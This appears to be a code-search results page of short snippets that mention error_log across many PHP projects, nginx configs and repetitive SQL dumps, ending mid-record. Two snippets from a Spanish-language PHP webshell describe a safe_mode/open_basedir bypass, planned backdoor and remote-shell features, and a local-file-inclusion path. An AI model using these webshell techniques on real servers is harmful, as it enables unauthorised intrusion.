1<?php 2 2 3//stop the direct browsing to this file - let index.php handle which files get displayed 4checkLogin(); 57 while ($template = readdir($handle)) { 58 if ($template != ".." && $template != "." && $template !="logos" && $template !=".svn" && $template !="template.php" && $template !="template.php~" ) { 59 $files[] = $template; 71 while ($template = readdir($handle)) { 72 if ($template != ".." && $template != "." && $template !="logos" && $template !=".svn" && $template !="template.php" && $template !="template.php~" ) { 73 $files[] = $template; 116 $value = $display_block_templates_list; 117 //error_log($value); 118box.img.php http://simpleinvoices.googlecode.com/svn/trunk/ | PHP | 0 lines
1<?php 2// $Header: /cvsroot/html2ps/box.img.php,v 1.50 2007/05/06 18:49:29 Konstantin Exp $ 124 if (is_null($ascender)) { 125 error_log("ImgBox::reflow_text: cannot get font ascender"); 126 return null; 130 if (is_null($descender)) { 131 error_log("ImgBox::reflow_text: cannot get font descender"); 132 return null;oc-load.php https://code.google.com/p/osclass/ | PHP | 238 lines
1<?php 2/* 33 34if( !file_exists(ABS_PATH . 'config.php') ) { 35 require_once LIB_PATH . 'osclass/helpers/hErrors.php' ; 37 $title = 'OSClass » Error' ; 38 $message = 'There doesn\'t seem to be a <code>config.php</code> file. OSClass isn\'t installed. <a href="http://forums.osclass.org/">Need more help?</a></p>' ; 39 $message .= '<p><a class="button" href="' . osc_get_absolute_url() .'oc-includes/osclass/install.php">Install</a></p>' ; 44// load database configuration 45require_once ABS_PATH . 'config.php' ; 46require_once LIB_PATH . 'osclass/default-constants.php' ; 47 48// Sets PHP error handling 49if( OSC_DEBUG ) { 55 ini_set( 'log_errors', 1 ) ; 56 ini_set( 'error_log', CONTENT_PATH . 'debug.log' ) ; 57 }enUS.php http://wowroster.googlecode.com/svn/trunk/ | PHP | 1240 lines
1<?php 2/** 10 * @license http://www.gnu.org/licenses/gpl.html Licensed under the GNU General Public License v3. 11 * @version SVN: $Id: enUS.php 2430 2012-03-26 21:25:26Z ulminia@gmail.com $ 12 * @link http://www.wowroster.net 94$lang['select_files'] = 'Select Files'; 95$lang['save_error_log'] = 'Save Error Log'; 96$lang['save_update_log'] = 'Save Update Log'; 100$lang['remove_install_files'] = 'Remove Install Files'; 101$lang['remove_install_files_text'] = 'Please remove <span class="redB">install.php</span> in this directory'; 102 148$lang['timeformat'] = '%a %b %D, %l:%i %p'; // MySQL Time format (example - '%a %b %D, %l:%i %p' => 'Mon Jul 23rd, 2:19 PM') - http://dev.mysql.com/doc/refman/4.1/en/date-and-time-functions.html 149$lang['phptimeformat'] = 'D M jS, g:ia'; // PHP date() Time format (example - 'D M jS, g:ia' => 'Mon Jul 23rd, 2:19pm') - http://www.php.net/manual/en/function.date.php 150scheme.php https://code.google.com/p/oscats/ | PHP | 505 lines
1<?php 2/* 2/* 3 * PHP-GTK - The PHP language bindings for GTK+ 4 * 4 * 5 * Copyright (C) 2001-2008 Andrei Zmievski <andrei@php.net> 6 * 21 22/* $Id: scheme.php,v 1.33 2008/02/29 19:05:53 andrei Exp $ */ 23 23 24require "definitions.php"; 25 163 filemtime($cache_file) > filemtime($this->file_name)) { 164 error_log("Loading cache '". basename($cache_file) ."'"); 165 $fp = fopen($cache_file, 'r');otp.php http://otpauth.googlecode.com/svn/trunk/ | PHP | 745 lines
1<?php 2 /* ************************************************************************************** 2 /* ************************************************************************************** 3 * FILE : otp.php 4 * LAST UPDATED : July 2007 by james.barkley@gmail.com 12 ************************************************************************************** */ 13 require_once('alphanums.php'); 14 // require_once('iso-646.ivcs.clean.php'); 14 // require_once('iso-646.ivcs.clean.php'); 15 require_once('iso-646.ivcs.php'); 16 require_once('nutils.php'); 16 require_once('nutils.php'); 17 #require_once('io_interface.php'); /* this should contain i/o function */ 18 144 if (strlen($hash) != 16) { 145 error_log("computation step : __otp_hash produced strlen(hash) = ".strlen($hash)); 146 }config.php git://pkgs.fedoraproject.org/zikula | PHP | 163 lines
1<?php 2/** 6 * @link http://www.zikula.org 7 * @version $Id: config.php 26908 2009-10-12 13:14:24Z drak $ 8 * @license GNU/GPL - http://www.gnu.org/copyleft/gpl.html 115$PNConfig['Log']['log_dest'] = 'FILE'; // the default logging destination. Can be "FILE", "PRINT", "EMAIL" or "DB". 116$PNConfig['Log']['log_dir'] = $PNConfig['System']['temp'] . '/error_logs/'; // the directory containing all log files 117$PNConfig['Log']['log_file'] = $PNConfig['Log']['log_dir'] . 'zikula-%s.log'; // %s is where todays date will go 122$PNConfig['Log']['log_levels'] = array('CORE', 'DB', 'DEFAULT', 'WARNING', 'FATAL', 'STRICT'); // User defined. To get everything use: $log_level = array("All"); 123$PNConfig['Log']['log_show_errors'] = true; // Show php logging errors on screen (Use while developing only) 124$PNConfig['Log']['log_date_format'] = "Y-m-d H:i:s"; // 2006-07-19 18:41:50 125$PNConfig['Log']['log_level_dest'] = array('DB' => 'PRINT'); // array of level-specific log destinations 126$PNConfig['Log']['log_level_files'] = array('DB' => $PNConfig['System']['temp'] . '/error_logs/zikula-sql-%s.log'); // array of level-specific log files (only used if destination=="FILE") 127$PNConfig['Log']['log_keep_days'] = 30; // amount of days to keep log files for (older files will be erased) 155// ---------------------------------------------------------------------- 156// if there is a personal_config.php in the folder where is config.php 157// we add it. (This HAS to be at the end, after all initialization.)openid_server_include.php https://bitbucket.org/rhizomatik/lorea_production/ | PHP | 348 lines
1<?php 2/** 9 10require_once(dirname(dirname(dirname(__FILE__))) . "/engine/start.php"); 11 11 12require_once 'Auth/OpenID.php'; 13require_once 'Auth/OpenID/Interface.php'; 13require_once 'Auth/OpenID/Interface.php'; 14require_once 'Auth/OpenID/Consumer.php'; 15try { 15try { 16 include_once "Auth/OpenID/HMACSHA1.php"; 17} catch(Exception $e) { 18 // new way :P 19 require_once "Auth/OpenID/HMAC.php"; 20}SLOTest.php http://simplesamlphp-labs.googlecode.com/svn/trunk/ | PHP | 203 lines
1<?php 2 67 68# error_log('url to logout: ' . $this->initslo); 69# echo '<pre>'; print_r($this->flushResults()); exit;subroutines.php http://gigcalendar3.googlecode.com/svn/trunk/ | PHP | 687 lines
1<?php 2/** 5* @copyright Copyright (C) 2005 nuthin' werked. All rights reserved. 6* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php 7* This file is part of gigCalendar. 21* 22* See COPYRIGHT.php for copyright notices and details. 23*/ 37 $sql='SELECT * FROM #__gigcal_'.$what.'s WHERE id='.$id; 38//error_log($sql); 39 $db->setQuery($sql); 46 $sql='SELECT fieldname FROM #__gigcal_'.$display.'_fields WHERE published=1 ORDER BY ordering'; 47//error_log($sql); 48 $db->setQuery($sql); 130//gigFilterBuilder 131// Builds the content of the gig filter (used in alist.php and cal.php) 132function gigFilterBuilder ($filter_display_len, $task, $limit, $keywordfilter, $bandfilter, $venuefilter)PHPAPI.pas http://php4delphi.googlecode.com/svn/trunk/ | Pascal | 864 lines
138 139_php_error_log: function (opt_err : integer; msg : PChar; opt: PChar; headers: PChar; TSRMLS_DC : pointer) : integer; cdecl; 140 176 177php_url_free: procedure (theurl : pphp_url); cdecl; 178php_url_parse: function (str : PChar) : pphp_url; cdecl; 207 208function GetPHPGlobals(TSRMLS_DC : pointer) : Pphp_Core_Globals; 209function PG(TSRMLS_DC : pointer) : Pphp_Core_Globals; 214{$IFDEF PHP4} 215function LoadPHP(const DllFileName: string = 'php4ts.dll') : boolean; 216{$ELSE} 403 404function GetPHPGlobals(TSRMLS_DC : pointer) : Pphp_Core_Globals; 405varemelco-1.2.php http://emelco.googlecode.com/svn/trunk/ | PHP | 1457 lines
1<?php 2/* 17 18 EMelCo PHP WebShell v1.2 19 Escrita por >> s E t H << 41 1.2 42 [+] Explota un bug con ini_restore para saltearse safe_mode y open_basedir PHP <= 5.1.6 / 4.4.4 43 [!] Cambió el orden de los error_reporting para que sea mas facil debuggear 53 [+] Agregar rootexploits 54 [+] Agregar exploits de php 55 [+] Agregar una shell remota tipo datacha0s en varios lenguajes (php, c y perl seguro) 63 [+] Agregar para mover y copiar los archivos 64 [+] Ejecutar comandos con http://us3.php.net/manual/en/function.pcntl-exec.php y http://ar2.php.net/manual/en/function.proc-open.php 65 [+] Agregar para copiar y mover archivos 82//Cambia esto para usar la shell con LFI 83//$rfiurl = "?page=../../../error_log&"; 84$rfiurl = false;emelco-1.3.php http://emelco.googlecode.com/svn/trunk/ | PHP | 1808 lines
1<?php 2/* 17 18 EMelCo PHP WebShell v1.3 19 Escrita por >> s E t H << 41 1.3 42 [!] Si phpinfo() está desactivado, da un error en w=phpinfo 43 [+] Muestra los modulos cargados en w=info 59 [+] Agregar rootexploits 60 [+] Agregar exploits de php 61 [+] Agregar backdoorizacion automática 82//Cambia esto para usar la shell con LFI 83//$rfiurl = "?page=../../../error_log&"; 84$rfiurl = false; 103 104// de php.net para contrarrestar magic_quotes_gpc 105if (get_magic_quotes_gpc()) {nginx.conf http://jobzhu.googlecode.com/svn/trunk/ | Config | 670 lines
9# [ debug | info | notice | warn | error | crit ] 10error_log logs/error.log warn; 11#access_log off; 11#access_log off; 12#error_log logs/error.log notice; 13#error_log logs/error.log info; 108 root /web/club; 109 index index.php index.html index.htm; 110 include /usr/local/nginx/conf/proxy_fallback.conf; 121 122 # proxy the PHP scripts to Apache listening on 127.0.0.1:80 123 # 123 # 124 #location ~ \.php$ { 125 # proxy_pass http://127.0.0.1;nginx.conf http://jobzhu.googlecode.com/svn/trunk/ | Config | 781 lines
9# [ debug | info | notice | warn | error | crit ] 10error_log logs/error.log warn; 11# access_log /dev/null; 11# access_log /dev/null; 12#error_log logs/error.log notice; 13#error_log logs/error.log info; 111 root /web/club; 112 index index.php index.html index.htm; 113 include /usr/local/nginx/conf/proxy_fallback.conf; 128 129 # proxy the PHP scripts to Apache listening on 127.0.0.1:80 130 # 130 # 131 #location ~ \.php$ { 132 # proxy_pass http://127.0.0.1;create_db.sql http://timoseven.googlecode.com/svn/trunk/ | SQL | 178 lines
87/*!40000 ALTER TABLE `conf_file` DISABLE KEYS */; 88INSERT INTO `conf_file` VALUES (1,'text-grup','#user nobody;\r\nworker_processes 1;\r\n\r\n#error_log logs/error.log;\r\n#error_log logs/error.log notice;\r\n#error_log logs/error.log info;\r\n\r\n#pid logs/nginx.pid;\r\n\r\npid /tmp/nginx.pid;\r\n\r\nevents {\r\n worker_connections 1024;\r\n}\r\n\r\n\r\nhttp {\r\n include mime.types;\r\n default_type application/octet-stream;\r\n\r\n #log_format main \'$remote_addr - $remote_user [$time_local] \"$request\" \'\r\n # \'$status $body_bytes_sent \"$http_referer\" \'\r\n # \'\"$http_user_agent\" \"$http_x_forwarded_for\"\';\r\n\r\n #access_log logs/access.log main;\r\n\r\n sendfile on;\r\n #tcp_nopush on;\r\n\r\n #keepalive_timeout 0;\r\n keepalive_timeout 65;\r\n\r\n #gzip on;\r\n\r\n server {\r\n listen 81;\r\n server_name localhost;\r\n\r\n #charset koi8-r;\r\n\r\n #access_log logs/host.access.log main;\r\n\r\n location / {\r\n root html;\r\n index index.html index.htm;\r\n }\r\n\r\n #error_page 404 /404.html;\r\n\r\n # redirect server error pages to the static page /50x.html\r\n #\r\n error_page 500 502 503 504 /50x.html;\r\n location = /50x.html {\r\n root html;\r\n }\r\n\r\n # proxy the PHP scripts to Apache listening on 127.0.0.1:80\r\n #\r\n #location ~ \\.php$ {\r\n # proxy_pass http://127.0.0.1;\r\n #}\r\n\r\n # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000\r\n #\r\n #location ~ \\.php$ {\r\n # root html;\r\n # fastcgi_pass 127.0.0.1:9000;\r\n # fastcgi_index index.php;\r\n # fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;\r\n # include fastcgi_params;\r\n #}\r\n\r\n # deny access to .htaccess files, if Apache\'s document root\r\n # concurs with nginx\'s one\r\n #\r\n #location ~ /\\.ht {\r\n # deny all;\r\n #}\r\n }\r\n\r\n\r\n # another virtual host using mix of IP-, name-, and port-based configuration\r\n #\r\n #server {\r\n # listen 8000;\r\n # listen somename:8080;\r\n # server_name somename alias another.alias;\r\n\r\n # location / {\r\n # root html;\r\n # index index.html index.htm;\r\n # }\r\n #}\r\n\r\n\r\n # HTTPS server\r\n #\r\n #server {\r\n # listen 443;\r\n # server_name localhost;\r\n\r\n # ssl on;\r\n # ssl_certificate cert.pem;\r\n # ssl_certificate_key cert.key;\r\n\r\n # ssl_session_timeout 5m;\r\n\r\n # ssl_protocols SSLv2 SSLv3 TLSv1;\r\n # ssl_ciphers ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP;\r\n # ssl_prefer_server_ciphers on;\r\n\r\n # location / {\r\n # root html;\r\n # index index.html index.htm;\r\n # }\r\n #}\r\n\r\n}','10.1.41.47','2010-12-15 07:01:14'),(2,'text-grup','#user nobody;\r\nworker_processes 1;\r\n\r\n#error_log logs/error.log;\r\n#error_log logs/error.log notice;\r\n#error_log logs/error.log info;\r\n\r\n#pid logs/nginx.pid;\r\n\r\npid /tmp/nginx.pid;\r\n\r\nevents {\r\n worker_connections 1024;\r\n}\r\n\r\n\r\nhttp {\r\n include mime.types;\r\n default_type application/octet-stream;\r\n\r\n #log_format main \'$remote_addr - $remote_user [$time_local] \"$request\" \'\r\n # \'$status $body_bytes_sent \"$http_referer\" \'\r\n # \'\"$http_user_agent\" \"$http_x_forwarded_for\"\';\r\n\r\n #access_log logs/access.log main;\r\n\r\n sendfile on;\r\n #tcp_nopush on;\r\n\r\n #keepalive_timeout 0;\r\n keepalive_timeout 65;\r\n\r\n #gzip on;\r\n\r\n server {\r\n listen 81;\r\n server_name localhost;\r\n\r\n #charset koi8-r;\r\n\r\n #access_log logs/host.access.log main;\r\n\r\n location / {\r\n root html;\r\n index index.html index.htm;\r\n }\r\n\r\n #error_page 404 /404.html;\r\n\r\n # redirect server error pages to the static page /50x.html\r\n #\r\n error_page 500 502 503 504 /50x.html;\r\n location = /50x.html {\r\n root html;\r\n }\r\n\r\n # proxy the PHP scripts to Apache listening on 127.0.0.1:80\r\n #\r\n #location ~ \\.php$ {\r\n # proxy_pass http://127.0.0.1;\r\n #}\r\n\r\n # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000\r\n #\r\n #location ~ \\.php$ {\r\n # root html;\r\n # fastcgi_pass 127.0.0.1:9000;\r\n # fastcgi_index index.php;\r\n # fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;\r\n # include fastcgi_params;\r\n #}\r\n\r\n # deny access to .htaccess files, if Apache\'s document root\r\n # concurs with nginx\'s one\r\n #\r\n #location ~ /\\.ht {\r\n # deny all;\r\n #}\r\n }\r\n\r\n\r\n # another virtual host using mix of IP-, name-, and port-based configuration\r\n #\r\n #server {\r\n # listen 8000;\r\n # listen somename:8080;\r\n # server_name somename alias another.alias;\r\n\r\n # location / {\r\n # root html;\r\n # index index.html index.htm;\r\n # }\r\n #}\r\n\r\n\r\n # HTTPS server\r\n #\r\n #server {\r\n # listen 443;\r\n # server_name localhost;\r\n\r\n # ssl on;\r\n # ssl_certificate cert.pem;\r\n # ssl_certificate_key cert.key;\r\n\r\n # ssl_session_timeout 5m;\r\n\r\n # ssl_protocols SSLv2 SSLv3 TLSv1;\r\n # ssl_ciphers ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP;\r\n # ssl_prefer_server_ciphers on;\r\n\r\n # location / {\r\n # root html;\r\n # index index.html index.htm;\r\n # }\r\n #}\r\n\r\n}','10.1.41.47','2010-12-15 07:27:31'),(3,'text-grup','#user nobody;\r\nworker_processes 1;\r\n\r\n#error_log logs/error.log;\r\n#error_log logs/error.log notice;\r\n#error_log logs/error.log info;\r\n\r\n#pid logs/nginx.pid;\r\n\r\npid /tmp/nginx.pid;\r\n\r\nevents {\r\n worker_connections 1024;\r\n}\r\n\r\n\r\nhttp {\r\n include mime.types;\r\n default_type application/octet-stream;\r\n\r\n #log_format main \'$remote_addr - $remote_user [$time_local] \"$request\" \'\r\n # \'$status $body_bytes_sent \"$http_referer\" \'\r\n # \'\"$http_user_agent\" \"$http_x_forwarded_for\"\';\r\n\r\n #access_log logs/access.log main;\r\n\r\n sendfile on;\r\n #tcp_nopush on;\r\n\r\n #keepalive_timeout 0;\r\n keepalive_timeout 65;\r\n\r\n #gzip on;\r\n\r\n server {\r\n listen 81;\r\n server_name localhost;\r\n\r\n #charset koi8-r;\r\n\r\n #access_log logs/host.access.log main;\r\n\r\n location / {\r\n root html;\r\n index index.html index.htm;\r\n }\r\n\r\n #error_page 404 /404.html;\r\n\r\n # redirect server error pages to the static page /50x.html\r\n #\r\n error_page 500 502 503 504 /50x.html;\r\n location = /50x.html {\r\n root html;\r\n }\r\n\r\n # proxy the PHP scripts to Apache listening on 127.0.0.1:80\r\n #\r\n #location ~ \\.php$ {\r\n # proxy_pass http://127.0.0.1;\r\n #}\r\n\r\n # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000\r\n #\r\n #location ~ \\.php$ {\r\n # root html;\r\n # fastcgi_pass 127.0.0.1:9000;\r\n # fastcgi_index index.php;\r\n # fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;\r\n # include fastcgi_params;\r\n #}\r\n\r\n # deny access to .htaccess files, if Apache\'s document root\r\n # concurs with nginx\'s one\r\n #\r\n #location ~ /\\.ht {\r\n # deny all;\r\n #}\r\n }\r\n\r\n\r\n # another virtual host using mix of IP-, name-, and port-based configuration\r\n #\r\n #server {\r\n # listen 8000;\r\n # listen somename:8080;\r\n # server_name somename alias another.alias;\r\n\r\n # location / {\r\n # root html;\r\n # index index.html index.htm;\r\n # }\r\n #}\r\n\r\n\r\n # HTTPS server\r\n #\r\n #server {\r\n # listen 443;\r\n # server_name localhost;\r\n\r\n # ssl on;\r\n # ssl_certificate cert.pem;\r\n # ssl_certificate_key cert.key;\r\n\r\n # ssl_session_timeout 5m;\r\n\r\n # ssl_protocols SSLv2 SSLv3 TLSv1;\r\n # ssl_ciphers ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP;\r\n # ssl_prefer_server_ciphers on;\r\n\r\n # location / {\r\n # root html;\r\n # index index.html index.htm;\r\n # }\r\n #}\r\n\r\n}','10.1.41.47','2010-12-15 09:57:25'),(4,'text-grup','#user nobody;\r\nworker_processes 1;\r\n\r\n#error_log logs/error.log;\r\n#error_log logs/error.log notice;\r\n#error_log logs/error.log info;\r\n\r\n#pid logs/nginx.pid;\r\n\r\npid /tmp/nginx.pid;\r\n\r\nevents {\r\n worker_connections 1024;\r\n}\r\n\r\n\r\nhttp {\r\n include mime.types;\r\n default_type application/octet-stream;\r\n\r\n #log_format main \'$remote_addr - $remote_user [$time_local] \"$request\" \'\r\n # \'$status $body_bytes_sent \"$http_referer\" \'\r\n # \'\"$http_user_agent\" \"$http_x_forwarded_for\"\';\r\n\r\n #access_log logs/access.log main;\r\n\r\n sendfile on;\r\n #tcp_nopush on;\r\n\r\n #keepalive_timeout 0;\r\n keepalive_timeout 65;\r\n\r\n #gzip on;\r\n\r\n server {\r\n listen 81;\r\n server_name localhost;\r\n\r\n #charset koi8-r;\r\n\r\n #access_log logs/host.access.log main;\r\n\r\n location / {\r\n root html;\r\n index index.html index.htm;\r\n }\r\n\r\n #error_page 404 /404.html;\r\n\r\n # redirect server error pages to the static page /50x.html\r\n #\r\n error_page 500 502 503 504 /50x.html;\r\n location = /50x.html {\r\n root html;\r\n }\r\n\r\n # proxy the PHP scripts to Apache listening on 127.0.0.1:80\r\n #\r\n #location ~ \\.php$ {\r\n # proxy_pass http://127.0.0.1;\r\n #}\r\n\r\n # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000\r\n #\r\n #location ~ \\.php$ {\r\n # root html;\r\n # fastcgi_pass 127.0.0.1:9000;\r\n # fastcgi_index index.php;\r\n # fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;\r\n # include fastcgi_params;\r\n #}\r\n\r\n # deny access to .htaccess files, if Apache\'s document root\r\n # concurs with nginx\'s one\r\n #\r\n #location ~ /\\.ht {\r\ncreate_db.sql http://timoseven.googlecode.com/svn/trunk/ | SQL | 295 lines
88/*!40000 ALTER TABLE `conf_file` DISABLE KEYS */; 89INSERT INTO `conf_file` VALUES (1,'text-grup','#user nobody;\r\nworker_processes 1;\r\n\r\n#error_log logs/error.log;\r\n#error_log logs/error.log notice;\r\n#error_log logs/error.log info;\r\n\r\n#pid logs/nginx.pid;\r\n\r\npid /tmp/nginx.pid;\r\n\r\nevents {\r\n worker_connections 1024;\r\n}\r\n\r\n\r\nhttp {\r\n include mime.types;\r\n default_type application/octet-stream;\r\n\r\n #log_format main \'$remote_addr - $remote_user [$time_local] \"$request\" \'\r\n # \'$status $body_bytes_sent \"$http_referer\" \'\r\n # \'\"$http_user_agent\" \"$http_x_forwarded_for\"\';\r\n\r\n #access_log logs/access.log main;\r\n\r\n sendfile on;\r\n #tcp_nopush on;\r\n\r\n #keepalive_timeout 0;\r\n keepalive_timeout 65;\r\n\r\n #gzip on;\r\n\r\n server {\r\n listen 81;\r\n server_name localhost;\r\n\r\n #charset koi8-r;\r\n\r\n #access_log logs/host.access.log main;\r\n\r\n location / {\r\n root html;\r\n index index.html index.htm;\r\n }\r\n\r\n #error_page 404 /404.html;\r\n\r\n # redirect server error pages to the static page /50x.html\r\n #\r\n error_page 500 502 503 504 /50x.html;\r\n location = /50x.html {\r\n root html;\r\n }\r\n\r\n # proxy the PHP scripts to Apache listening on 127.0.0.1:80\r\n #\r\n #location ~ \\.php$ {\r\n # proxy_pass http://127.0.0.1;\r\n #}\r\n\r\n # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000\r\n #\r\n #location ~ \\.php$ {\r\n # root html;\r\n # fastcgi_pass 127.0.0.1:9000;\r\n # fastcgi_index index.php;\r\n # fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;\r\n # include fastcgi_params;\r\n #}\r\n\r\n # deny access to .htaccess files, if Apache\'s document root\r\n # concurs with nginx\'s one\r\n #\r\n #location ~ /\\.ht {\r\n # deny all;\r\n #}\r\n }\r\n\r\n\r\n # another virtual host using mix of IP-, name-, and port-based configuration\r\n #\r\n #server {\r\n # listen 8000;\r\n # listen somename:8080;\r\n # server_name somename alias another.alias;\r\n\r\n # location / {\r\n # root html;\r\n # index index.html index.htm;\r\n # }\r\n #}\r\n\r\n\r\n # HTTPS server\r\n #\r\n #server {\r\n # listen 443;\r\n # server_name localhost;\r\n\r\n # ssl on;\r\n # ssl_certificate cert.pem;\r\n # ssl_certificate_key cert.key;\r\n\r\n # ssl_session_timeout 5m;\r\n\r\n # ssl_protocols SSLv2 SSLv3 TLSv1;\r\n # ssl_ciphers ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP;\r\n # ssl_prefer_server_ciphers on;\r\n\r\n # location / {\r\n # root html;\r\n # index index.html index.htm;\r\n # }\r\n #}\r\n\r\n}','10.1.41.47','2010-12-15 07:01:14','N/A'),(2,'text-grup','#user nobody;\r\nworker_processes 1;\r\n\r\n#error_log logs/error.log;\r\n#error_log logs/error.log notice;\r\n#error_log logs/error.log info;\r\n\r\n#pid logs/nginx.pid;\r\n\r\npid /tmp/nginx.pid;\r\n\r\nevents {\r\n worker_connections 1024;\r\n}\r\n\r\n\r\nhttp {\r\n include mime.types;\r\n default_type application/octet-stream;\r\n\r\n #log_format main \'$remote_addr - $remote_user [$time_local] \"$request\" \'\r\n # \'$status $body_bytes_sent \"$http_referer\" \'\r\n # \'\"$http_user_agent\" \"$http_x_forwarded_for\"\';\r\n\r\n #access_log logs/access.log main;\r\n\r\n sendfile on;\r\n #tcp_nopush on;\r\n\r\n #keepalive_timeout 0;\r\n keepalive_timeout 65;\r\n\r\n #gzip on;\r\n\r\n server {\r\n listen 81;\r\n server_name localhost;\r\n\r\n #charset koi8-r;\r\n\r\n #access_log logs/host.access.log main;\r\n\r\n location / {\r\n root html;\r\n index index.html index.htm;\r\n }\r\n\r\n #error_page 404 /404.html;\r\n\r\n # redirect server error pages to the static page /50x.html\r\n #\r\n error_page 500 502 503 504 /50x.html;\r\n location = /50x.html {\r\n root html;\r\n }\r\n\r\n # proxy the PHP scripts to Apache listening on 127.0.0.1:80\r\n #\r\n #location ~ \\.php$ {\r\n # proxy_pass http://127.0.0.1;\r\n #}\r\n\r\n # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000\r\n #\r\n #location ~ \\.php$ {\r\n # root html;\r\n # fastcgi_pass 127.0.0.1:9000;\r\n # fastcgi_index index.php;\r\n # fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;\r\n # include fastcgi_params;\r\n #}\r\n\r\n # deny access to .htaccess files, if Apache\'s document root\r\n # concurs with nginx\'s one\r\n #\r\n #location ~ /\\.ht {\r\n # deny all;\r\n #}\r\n }\r\n\r\n\r\n # another virtual host using mix of IP-, name-, and port-based configuration\r\n #\r\n #server {\r\n # listen 8000;\r\n # listen somename:8080;\r\n # server_name somename alias another.alias;\r\n\r\n # location / {\r\n # root html;\r\n # index index.html index.htm;\r\n # }\r\n #}\r\n\r\n\r\n # HTTPS server\r\n #\r\n #server {\r\n # listen 443;\r\n # server_name localhost;\r\n\r\n # ssl on;\r\n # ssl_certificate cert.pem;\r\n # ssl_certificate_key cert.key;\r\n\r\n # ssl_session_timeout 5m;\r\n\r\n # ssl_protocols SSLv2 SSLv3 TLSv1;\r\n # ssl_ciphers ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP;\r\n # ssl_prefer_server_ciphers on;\r\n\r\n # location / {\r\n # root html;\r\n # index index.html index.htm;\r\n # }\r\n #}\r\n\r\n}','10.1.41.47','2010-12-15 07:27:31','N/A'),(3,'text-grup','#user nobody;\r\nworker_processes 1;\r\n\r\n#error_log logs/error.log;\r\n#error_log logs/error.log notice;\r\n#error_log logs/error.log info;\r\n\r\n#pid logs/nginx.pid;\r\n\r\npid /tmp/nginx.pid;\r\n\r\nevents {\r\n worker_connections 1024;\r\n}\r\n\r\n\r\nhttp {\r\n include mime.types;\r\n default_type application/octet-stream;\r\n\r\n #log_format main \'$remote_addr - $remote_user [$time_local] \"$request\" \'\r\n # \'$status $body_bytes_sent \"$http_referer\" \'\r\n # \'\"$http_user_agent\" \"$http_x_forwarded_for\"\';\r\n\r\n #access_log logs/access.log main;\r\n\r\n sendfile on;\r\n #tcp_nopush on;\r\n\r\n #keepalive_timeout 0;\r\n keepalive_timeout 65;\r\n\r\n #gzip on;\r\n\r\n server {\r\n listen 81;\r\n server_name localhost;\r\n\r\n #charset koi8-r;\r\n\r\n #access_log logs/host.access.log main;\r\n\r\n location / {\r\n root html;\r\n index index.html index.htm;\r\n }\r\n\r\n #error_page 404 /404.html;\r\n\r\n # redirect server error pages to the static page /50x.html\r\n #\r\n error_page 500 502 503 504 /50x.html;\r\n location = /50x.html {\r\n root html;\r\n }\r\n\r\n # proxy the PHP scripts to Apache listening on 127.0.0.1:80\r\n #\r\n #location ~ \\.php$ {\r\n # proxy_pass http://127.0.0.1;\r\n #}\r\n\r\n # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000\r\n #\r\n #location ~ \\.php$ {\r\n # root html;\r\n # fastcgi_pass 127.0.0.1:9000;\r\n # fastcgi_index index.php;\r\n # fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;\r\n # include fastcgi_params;\r\n #}\r\n\r\n # deny access to .htaccess files, if Apache\'s document root\r\n # concurs with nginx\'s one\r\n #\r\n #location ~ /\\.ht {\r\n # deny all;\r\n #}\r\n }\r\n\r\n\r\n # another virtual host using mix of IP-, name-, and port-based configuration\r\n #\r\n #server {\r\n # listen 8000;\r\n # listen somename:8080;\r\n # server_name somename alias another.alias;\r\n\r\n # location / {\r\n # root html;\r\n # index index.html index.htm;\r\n # }\r\n #}\r\n\r\n\r\n # HTTPS server\r\n #\r\n #server {\r\n # listen 443;\r\n # server_name localhost;\r\n\r\n # ssl on;\r\n # ssl_certificate cert.pem;\r\n # ssl_certificate_key cert.key;\r\n\r\n # ssl_session_timeout 5m;\r\n\r\n # ssl_protocols SSLv2 SSLv3 TLSv1;\r\n # ssl_ciphers ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP;\r\n # ssl_prefer_server_ciphers on;\r\n\r\n # location / {\r\n # root html;\r\n # index index.html index.htm;\r\n # }\r\n #}\r\n\r\n}','10.1.41.47','2010-12-15 09:57:25','N/A'),(4,'text-grup','#user nobody;\r\nworker_processes 1;\r\n\r\n#error_log logs/error.log;\r\n#error_log logs/error.log notice;\r\n#error_log logs/error.log info;\r\n\r\n#pid logs/nginx.pid;\r\n\r\npid /tmp/nginx.pid;\r\n\r\nevents {\r\n worker_connections 1024;\r\n}\r\n\r\n\r\nhttp {\r\n include mime.types;\r\n default_type application/octet-stream;\r\n\r\n #log_format main \'$remote_addr - $remote_user [$time_local] \"$request\" \'\r\n # \'$status $body_bytes_sent \"$http_referer\" \'\r\n # \'\"$http_user_agent\" \"$http_x_forwarded_for\"\';\r\n\r\n #access_log logs/access.log main;\r\n\r\n sendfile on;\r\n #tcp_nopush on;\r\n\r\n #keepalive_timeout 0;\r\n keepalive_timeout 65;\r\n\r\n #gzip on;\r\n\r\n server {\r\n listen 81;\r\n server_name localhost;\r\n\r\n #charset koi8-r;\r\n\r\n #access_log logs/host.access.log main;\r\n\r\n location / {\r\n root html;\r\n index index.html index.htm;\r\n }\r\n\r\n #error_page 404 /404.html;\r\n\r\n # redirect server error pages to the static page /50x.html\r\n #\r\n error_page 500 502 503 504 /50x.html;\r\n location = /50x.html {\r\n root 